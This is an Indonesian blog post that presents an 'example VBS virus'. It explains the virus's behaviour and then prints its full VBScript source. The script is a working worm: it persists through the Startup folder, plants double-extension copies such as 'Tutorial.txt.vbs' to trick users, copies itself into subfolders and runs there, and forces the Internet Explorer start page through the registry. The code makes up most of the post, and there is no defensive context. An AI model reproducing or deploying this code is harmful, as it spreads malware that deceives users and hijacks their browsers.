contoh virus VBS

Kemampuan virus VBS ini adalah bekerja autorun (berjalan secara otomatis) karena berada dalam folder startup Personal. Menggunakan ekstensi ganda, yaitu jika dalam folder yang sama ada file berekstensi jpg maupun file txt maka script ini juga akan membuat file vbs dengan nama file yang sama.
Sebagai contoh, jika ada file Tutorial.txt maka script vbs juga akan membuat file Tutorial.txt.vbs yang isinya adalah script itu sendiri. Jika di dalam folder tersebut terdapat subfolder, maka file ini akan mengkopi dirinya ke dalam sub folder tersebut dengan nama file Readme.txt.vbs.
Ada 3 lokasi utama yang akan dimasuki script ini, yaitu di folder Startup, Desktop dan My Documents Personal. Selain itu, program ini juga akan merubah alamat default website dari program Internet Explorer (jadi mirip adware ya), sehingga saat kita pertama kali membuka program Internet Explorer maka alamat website yang dibuka secara otomatis pertama kali adalah www.jaelani.blogspot.com.
Jadi sekalipun kita merubah alamat default dari Internet Explorer melalui Internet Option, namun ketika komputer dihidupkan kembali dan script VBS yang ada di folder Startup bekerja, maka alamat default dari Internet Explorer akan kembali menjadi www.jaelani.blogspot.com (inilah cara kerja program spyware yang menjengkelkan).
Isi script Vbs tersebut adalah sebagai berikut (nyontek dari bukunya jasakom) :

1 On error resume next
2 Dim WshShell, FSO, Induk, vPath, target, Lokasi
3 Set WshShell = CreateObject(”Wscript.Shell”)
4 Set FSO = CreateObject(”Scripting.FileSystemObject”)
5 Set Induk = FSO.GetFile(Wscript.ScriptFullName)
6
7 WshShell.RegWrite ”HKCU\Software\Microsoft\Internet Explorer\MainStart Page”,”http://www.jaelani.blogspot.com/”
8
9 Lokasi = WshShell.SpecialFolders(”Startup”)
10 Induk.Copy (Lokasi & ”\Adobe.vbs”)
11
12 Lokasi = WshShell.SpecialFolders(”Desktop”)
13 Induk.Copy (Lokasi & ”\Readme.vbs”)
14 InfectFolder Lokasi
15
16 Lokasi = WshShell.SpecialFolders(”MyDocuments”)
17 Induk.Copy (Lokasi & ”\Gambar.vbs”)
18 InfectFolder Lokasi
19
20 vPath = Left(Induk, InStrRev(Induk, ”\”))
21 For Each target in FSO.GetFolder(vPath).Files
22 If Right(target,3)=”txt” or Right(target,3)=”jpg” then Induk.
Copy(target & ”.vbs”)
23 Next
24
25 Sub InfectFolder(Alamat)
26 on error resume next
27 For Each target in FSO.GetFolder(Alamat).SubFolders
28 Induk.copy(target & ”\Readme.vbs”)
29 WshShell.Run (target & ”\Readme.vbs”)
30 Next
31 End sub